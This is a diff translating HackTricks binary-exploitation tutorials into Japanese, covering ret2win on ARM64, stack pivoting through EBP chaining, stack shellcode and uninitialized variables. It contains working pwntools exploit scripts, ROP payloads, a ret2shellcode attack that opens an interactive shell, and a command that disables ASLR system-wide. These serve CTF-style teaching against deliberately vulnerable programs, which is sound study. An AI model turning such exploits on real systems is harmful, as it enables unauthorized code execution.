[**GEF**](https://github.com/bata24/gef): - -Stat gdb with gef, create pattern and use it: +この例は[**GEF**](https://github.com/bata24/gef)を使用して作成されました: +gefでgdbを起動し、パターンを作成して使用します: ```bash gdb -q ./ret2win pattern create 200 run ``` -
-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset: - +arm64は、レジスタx30(侵害された)にあるアドレスに戻ろうとします。これを利用してパターンオフセットを見つけることができます: ```bash pattern search $x30 ``` -
-**The offset is 72 (9x48).** +**オフセットは72(9x48)です。** -### Stack offset option - -Start by getting the stack address where the pc register is stored: +### スタックオフセットオプション +pcレジスタが格納されているスタックアドレスを取得することから始めます: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ``` -
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337: - +次に、`read()`の後にブレークポイントを設定し、`read()`が実行されるまで続けて、13371337のようなパターンを設定します: ``` b *vulnerable_function+28 c ``` -
-Find where this pattern is stored in memory: +このパターンがメモリにどこに保存されているかを見つけます:
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** +次に: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
@@ -95,16 +83,13 @@ Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** ### Regular -Get the address of the **`win`** function: - +**`win`** 関数のアドレスを取得します: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` - -Exploit: - +エクスプロイト: ```python from pwn import * @@ -124,13 +109,11 @@ p.send(payload) print(p.recvline()) p.close() ``` -
### Off-by-1 -Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`. - +実際には、これはスタックに保存されたPCでオフバイ-2のようになります。すべてのリターンアドレスを上書きするのではなく、**最後の2バイトのみ**を`0x06c4`で上書きします。 ```python from pwn import * @@ -150,22 +133,20 @@ p.send(payload) print(p.recvline()) p.close() ``` -
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability. +ARM64の別のオフバイワンの例は[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)で見つけることができ、これは架空の脆弱性における実際のオフバイ-**1**です。 -## With PIE +## PIEあり > [!TIP] -> Compile the binary **without the `-no-pie` argument** +> バイナリを**`-no-pie`引数なしでコンパイルしてください** -### Off-by-2 +### オフバイ-2 -Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset: +リークがないと、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを考慮すると、この場合、勝利関数へのオフセット(**0x7d4**)をリークし、そのオフセットを使用することが可能です:
- ```python from pwn import * @@ -185,5 +166,4 @@ p.send(payload) print(p.recvline()) p.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a786dea8e..980b33131 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -1,65 +1,62 @@ -# Stack Pivoting - EBP2Ret - EBP chaining +# スタックピボット - EBP2Ret - EBPチェイニング {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. - -As a reminder, **`leave`** basically means: +この技術は、**ベースポインタ(EBP)**を操作する能力を利用して、EBPレジスタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンすることを目的としています。 +念のため、**`leave`**は基本的に次の意味です: ``` mov ebp, esp pop ebp ret ``` - -And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. +そして、**EBPがスタックにある**ため、スタックを制御することでそれを制御することが可能です。 ### EBP2Ret -This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. +この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない場合**に特に有用です。これは、関数が実行を終了する際の動作を利用します。 -If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ -Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. +`fvuln`の実行中に、シェルコードのアドレスがあるメモリ領域を指す**偽のEBP**をスタックに注入することができれば(`pop`操作のために4バイトを加算)、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作でESPが4減少し、**攻撃者がそこに保存したアドレスを指すことになります。**\ +ここで、**2つのアドレスを知っておく必要があります**: ESPが向かうアドレスと、ESPが指すアドレスを書き込む必要がある場所です。 -#### Exploit Construction +#### 攻撃構築 -First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. +まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。ESPはここを指し、**最初の`ret`を実行します**。 -Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: +次に、**任意のコードを実行する**ために`ret`が使用するアドレスを知っておく必要があります。以下のように使用できます: -- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. -- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). -- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. -- Some [**ROP**](../rop-return-oriented-programing/) chain +- 有効な[**ONE_GADGET**](https://github.com/david942j/one_gadget)アドレス。 +- **`system()`**のアドレスの後に**4バイトのジャンク**と`"/bin/sh"`のアドレス(x86ビット)。 +- **`jump esp;`**ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))の後に**実行するシェルコード**。 +- 一部の[**ROP**](../rop-return-oriented-programing/)チェーン。 -Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. +制御されたメモリのこれらのアドレスの前には、**`4`バイト**が必要です。これは**`pop`**部分の`leave`命令のためです。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。 #### Off-By-One Exploit -There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ -Usually it's modified the byte 0x00t o jump as far as possible. +この技術の特定のバリアントは「Off-By-One Exploit」として知られています。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトと共有する必要があり、より制約のある条件で類似の操作が可能になります。\ +通常、0x00のバイトを変更してできるだけ遠くにジャンプします。 -Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. +また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRETスレッド内を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。 -### **EBP Chaining** +### **EBPチェーニング** -Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. +したがって、スタックの`EBP`エントリに制御されたアドレスを配置し、`EIP`に`leave; ret`のアドレスを配置することで、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**。 -Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: +今、**`ESP`**は望ましいアドレスを指して制御されており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを配置することが可能です: -- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction -- **`system()`** -> Called by `ret` -- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin -- **`&("/bin/sh")`**-> Param fro `system` +- **`&(次の偽EBP)`** -> `leave`命令からの`pop ebp`により新しいEBPをロード +- **`system()`** -> `ret`によって呼び出される +- **`&(leave;ret)`** -> systemが終了した後に呼び出され、ESPを偽EBPに移動させ、再び開始 +- **`&("/bin/sh")`**-> `system`のパラメータ -Basically this way it's possible to chain several fake EBPs to control the flow of the program. +基本的に、この方法で複数の偽EBPをチェーンしてプログラムのフローを制御することが可能です。 -This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases. - -Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page: +これは[ret2lib](../rop-return-oriented-programing/ret2lib/)のようなものですが、明らかな利点はなく、いくつかのエッジケースでは興味深いかもしれません。 +さらに、ここにこの技術を使用して**スタックリーク**で勝利関数を呼び出す[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これはページからの最終的なペイロードです: ```python from pwn import * @@ -75,34 +72,32 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( - 0x0, # rbp (could be the address of anoter fake RBP) - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, - elf.sym['winner'] +0x0, # rbp (could be the address of anoter fake RBP) +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, +elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( - buffer, # Load leak address in RBP - LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leak address in RBP +LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +## EBPは使用されない可能性がある -## EBP might not be used - -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\ -This is because the **prologue and epilogue changes** if the binary is optimized. - -- **Not optimized:** +[**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)、バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができない**ため、EBPを制御することで動作するエクスプロイトは基本的に失敗します。\ +これは、バイナリが最適化されると**プロローグとエピローグが変更される**ためです。 +- **最適化されていない:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - -- **Optimized:** - +- **最適化された:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size @@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` +## RSPを制御する他の方法 -## Other ways to control RSP - -### **`pop rsp`** gadget - -[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: +### **`pop rsp`** ガジェット +[**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)では、この技術を使用した例を見つけることができます。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp` ガジェット**があり、**スタックからのリーク**があります: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( - 0, # r13 - 0, # r14 - 0, # r15 - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, # r15 - elf.sym['winner'] +0, # r13 +0, # r14 +0, # r15 +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, # r15 +elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 @@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( - POP_CHAIN, - buffer # rsp +POP_CHAIN, +buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` - -### xchg \, rsp gadget - +### xchg \, rsp ガジェット ``` pop <=== return pointer xchg , rsp ``` - ### jmp esp -Check the ret2esp technique here: +ret2espテクニックについては、こちらを確認してください: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## References & Other Examples +## 参考文献と他の例 - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - - 64 bits, off by one exploitation with a rop chain starting with a ret sled +- 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンのエクスプロイト - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. +- 64ビット、no relro、canary、nx、pie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックリークを取得し、WWWを使用してpieリークを取得します。その後、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンを書き込み、RBPでピボットして呼び出します。 ## ARM64 -In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. +ARM64では、関数の**プロローグとエピローグ**は**スタック内のSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。 -Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. +したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きして**SPレジスタを制御することはできません**。たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法が必要です**。 -- prologue +- プロローグ - ```armasm - sub sp, sp, 16 - stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 - mov x29, sp // FP points to frame record - ``` +```armasm +sub sp, sp, 16 +stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 +mov x29, sp // FPはフレームレコードを指します +``` -- epilogue +- エピローグ - ```armasm - ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] - add sp, sp, 16 - ret - ``` +```armasm +ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] +add sp, sp, 16 +ret +``` > [!CAUTION] -> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. +> ARM64でスタックピボットに似たことを実行する方法は、**`SP`**を制御できること(`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得し、オーバーフローが発生する場合)であり、その後、**エピローグを悪用**して**制御された`SP`**から**`x30`**レジスタをロードし、**それに`RET`**することです。 -Also in the following page you can see the equivalent of **Ret2esp in ARM64**: +次のページでは、**ARM64におけるRet2espの同等物**を見ることができます: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 187c832b7..4856f1007 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**. +**Stack shellcode** は、**binary exploitation** において攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 **Instruction Pointer (IP)** または **Extended Instruction Pointer (EIP)** をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行したりするために使用される古典的な方法です。以下に、プロセスの概要と、シンプルなCの例、そして**pwntools**を使用して対応するエクスプロイトを書く方法を示します。 -### C Example: A Vulnerable Program - -Let's start with a simple example of a vulnerable C program: +### Cの例: 脆弱なプログラム +脆弱なCプログラムのシンプルな例から始めましょう: ```c #include #include void vulnerable_function() { - char buffer[64]; - gets(buffer); // Unsafe function that does not check for buffer overflow +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { - vulnerable_function(); - printf("Returned safely\n"); - return 0; +vulnerable_function(); +printf("Returned safely\n"); +return 0; } ``` +このプログラムは、`gets()` 関数の使用によりバッファオーバーフローに対して脆弱です。 -This program is vulnerable to a buffer overflow due to the use of the `gets()` function. - -### Compilation - -To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command: +### コンパイル +このプログラムをコンパイルしてさまざまな保護を無効にすることで(脆弱な環境をシミュレートするために)、次のコマンドを使用できます: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - -- `-fno-stack-protector`: Disables stack protection. -- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack. -- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located. -- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development. +- `-fno-stack-protector`: スタック保護を無効にします。 +- `-z execstack`: スタックを実行可能にし、スタックに保存されたシェルコードを実行するために必要です。 +- `-no-pie`: ポジション独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。 +- `-m32`: プログラムを32ビット実行可能ファイルとしてコンパイルし、エクスプロイト開発の簡素化にしばしば使用されます。 ### Python Exploit using Pwntools -Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: - +ここでは、**pwntools**を使用して**ret2shellcode**攻撃を実行するためのPythonでのエクスプロイトの書き方を示します: ```python from pwn import * @@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` +このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、次に**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。 -This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +**NOPスライド**(`asm('nop')`)は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数をバッファの開始アドレスにオフセットを加えたものに調整して、NOPスライドに到達します。 -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +## 保護 -## Protections +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **は無効にするべき**で、そうしないとアドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、win関数がどこにロードされているかを把握するために何らかのリークが必要になります。 +- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/)も無効にするべきで、そうしないと侵害されたEIPの戻りアドレスは決して追跡されません。 +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。 -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable. - -## Other Examples & References +## その他の例と参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - - 64bit, ASLR with stack address leak, write shellcode and jump to it +- 64ビット、スタックアドレスリークを伴うASLR、シェルコードを書き込み、そこにジャンプ - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - - 32 bit, ASLR with stack leak, write shellcode and jump to it +- 32ビット、スタックリークを伴うASLR、シェルコードを書き込み、そこにジャンプ - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it +- 32ビット、スタックリークを伴うASLR、exit()への呼び出しを防ぐための比較、変数を値で上書きし、シェルコードを書き込み、そこにジャンプ - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64、ASLRなし、スタックを実行可能にするROPガジェットとスタック内のシェルコードにジャンプ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 3ad3e61ac..66dd2a0cc 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -2,47 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +arm64の紹介は以下を参照してください: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code - ```c #include #include void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie, canary and nx: - +PIE、カナリア、NXなしでコンパイル: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` - ## No ASLR & No canary - Stack Overflow -To stop ASLR execute: - +ASLRを停止するには、次のコマンドを実行します: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +[**bofのオフセットを取得するには、このリンクをチェックしてください**](../ret2win/ret2win-arm64.md#finding-the-offset)。 -To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset). - -Exploit: - +エクスプロイト: ```python from pwn import * @@ -73,9 +66,8 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` +ここで唯一「複雑な」ことは、呼び出すためのスタック内のアドレスを見つけることです。私の場合、gdbを使用して見つけたアドレスでエクスプロイトを生成しましたが、エクスプロイトを実行したときにうまくいきませんでした(スタックアドレスが少し変わったためです)。 -The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit). - -I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode. +生成された **`core` ファイル** (`gdb ./bog ./core`) を開き、シェルコードの開始位置の実際のアドレスを確認しました。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md index 6cde48bee..aca608509 100644 --- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md +++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md @@ -1,68 +1,66 @@ -# Uninitialized Variables +# 未初期化変数 {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example: +ここでの核心的なアイデアは、**未初期化変数が、割り当てられたメモリに既にあった値を持つことが何を意味するかを理解することです。** 例: -- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it. -- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location. +- **関数 1: `initializeVariable`**: 変数 `x` を宣言し、値を割り当てます。例えば `0x1234` とします。このアクションは、メモリ内にスポットを予約し、特定の値をそこに置くことに似ています。 +- **関数 2: `useUninitializedVariable`**: ここでは、別の変数 `y` を宣言しますが、値は割り当てません。C言語では、未初期化変数は自動的にゼロに設定されることはありません。代わりに、最後にそのメモリ位置に保存されていた値を保持します。 -When we run these two functions **sequentially**: +これらの二つの関数を**順次**実行すると: -1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address. -2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there. +1. `initializeVariable` では、`x` に値 (`0x1234`) が割り当てられ、特定のメモリアドレスを占有します。 +2. `useUninitializedVariable` では、`y` が宣言されますが、値は割り当てられないため、`x` の直後のメモリスポットを取ります。`y` を初期化しなかったため、`x` が使用していた同じメモリ位置から値を「継承」することになります。なぜなら、それがそこにあった最後の値だからです。 -This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory. +この動作は、低レベルプログラミングにおける重要な概念を示しています: **メモリ管理は重要であり**、未初期化変数は予測不可能な動作やセキュリティの脆弱性を引き起こす可能性があります。なぜなら、意図せずにメモリに残された機密データを保持することがあるからです。 -Uninitialized stack variables could pose several security risks like: +未初期化のスタック変数は、以下のような複数のセキュリティリスクを引き起こす可能性があります: -- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data. -- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits. -- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes. -- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats. - -### Example +- **データ漏洩**: パスワード、暗号鍵、または個人情報などの機密情報が未初期化変数に保存されると、攻撃者がこのデータを読み取る可能性があります。 +- **情報漏洩**: 未初期化変数の内容は、プログラムのメモリレイアウトや内部操作に関する詳細を明らかにし、攻撃者がターゲットを絞ったエクスプロイトを開発するのを助ける可能性があります。 +- **クラッシュと不安定性**: 未初期化変数を含む操作は未定義の動作を引き起こし、プログラムのクラッシュや予測不可能な結果をもたらすことがあります。 +- **任意のコード実行**: 特定のシナリオでは、攻撃者がこれらの脆弱性を利用してプログラムの実行フローを変更し、任意のコードを実行できるようになる可能性があります。これにはリモートコード実行の脅威が含まれるかもしれません。 +### 例 ```c #include // Function to initialize and print a variable void initializeAndPrint() { - int initializedVar = 100; // Initialize the variable - printf("Initialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); +int initializedVar = 100; // Initialize the variable +printf("Initialized 